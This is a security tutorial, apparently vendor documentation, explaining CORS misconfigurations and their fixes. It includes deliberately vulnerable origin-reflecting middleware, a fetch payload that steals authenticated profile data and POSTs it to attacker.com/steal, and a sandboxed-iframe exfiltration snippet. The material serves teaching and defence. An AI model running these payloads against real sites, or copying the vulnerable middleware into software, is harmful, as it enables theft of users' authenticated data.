Understanding CORS
Cross-Origin Resource Sharing (CORS) is a browser mechanism that allows controlled access to resources from different origins. When misconfigured, CORS can expose your entire API to unauthorized cross-origin access, enabling data theft from authenticated users.
How CORS Works
When a browser makes a cross-origin request, it includes an Origin header. The server responds with CORS headers that tell the browser whether to allow the response:
Request: Origin: https://attacker.com
Response: Access-Control-Allow-Origin: https://attacker.com
Access-Control-Allow-Credentials: true
If the server reflects the origin and allows credentials, the attacker's JavaScript can read the authenticated response.
Common CORS Misconfigurations
1. Origin Reflection (Critical)
The server blindly reflects any Origin header:
# VULNERABLE
@app.middleware("http")
async def cors_middleware(request, call_next):
response = await call_next(request)
origin = request.headers.get("origin")
response.headers["Access-Control-Allow-Origin"] = origin # Reflects anything!
response.headers["Access-Control-Allow-Credentials"] = "true"
return response
Exploit:
// On attacker.com
fetch("https://victim-api.com/api/user/profile", {
credentials: "include" // Sends victim's cookies
})
.then(r => r.json())
.then(data => {
// Send stolen data to attacker
fetch("https://attacker.com/steal", {method: "POST", body: JSON.stringify(data)});
});
2. Null Origin Allowed
Access-Control-Allow-Origin: null
Access-Control-Allow-Credentials: true
Sandboxed iframes and file:// origins send Origin: null:
<iframe sandbox="allow-scripts" srcdoc="
<script>
fetch('https://victim.com/api/data', {credentials:'include'})
.then(r=>r.text()).then(d=>parent.postMessage(d,'*'))
</script>
"></iframe>
3. Regex Bypass
Weak regex patterns for origin validation:
# Intended: allow *.example.com
# Vulnerable regex:
if origin.endswith("example.com"): # Matches evilexample.com too!
allow(origin)
4. Wildcard with Credentials
Access-Control-Allow-Origin: *
Access-Control-Allow-Credentials: true
Browsers block this combination, but developers sometimes work around it by reflecting the origin when they see credentials.
5. Pre-Flight Cache Poisoning
Exploiting long Access-Control-Max-Age values to cache permissive pre-flight responses.
Prevention
1. Explicit Allowlist
ALLOWED_ORIGINS = {
"https://app.example.com",
"https://admin.example.com",
}
def get_cors_origin(request):
origin = request.headers.get("origin")
if origin in ALLOWED_ORIGINS:
return origin
return None # Don't set the header at all
2. Avoid Reflecting Origin
Never blindly reflect the Origin header. Use a strict allowlist.3. Limit Exposed Headers
Only expose headers that the frontend actually needs:Access-Control-Expose-Headers: X-Request-Id, X-RateLimit-Remaining
4. Short Pre-Flight Cache
Access-Control-Max-Age: 600 # 10 minutes, not hours/days
Testing with SuperClue
SuperClue's CORS testing module checks for arbitrary origin reflection, null origin acceptance, and credentials allowed alongside a permissive origin.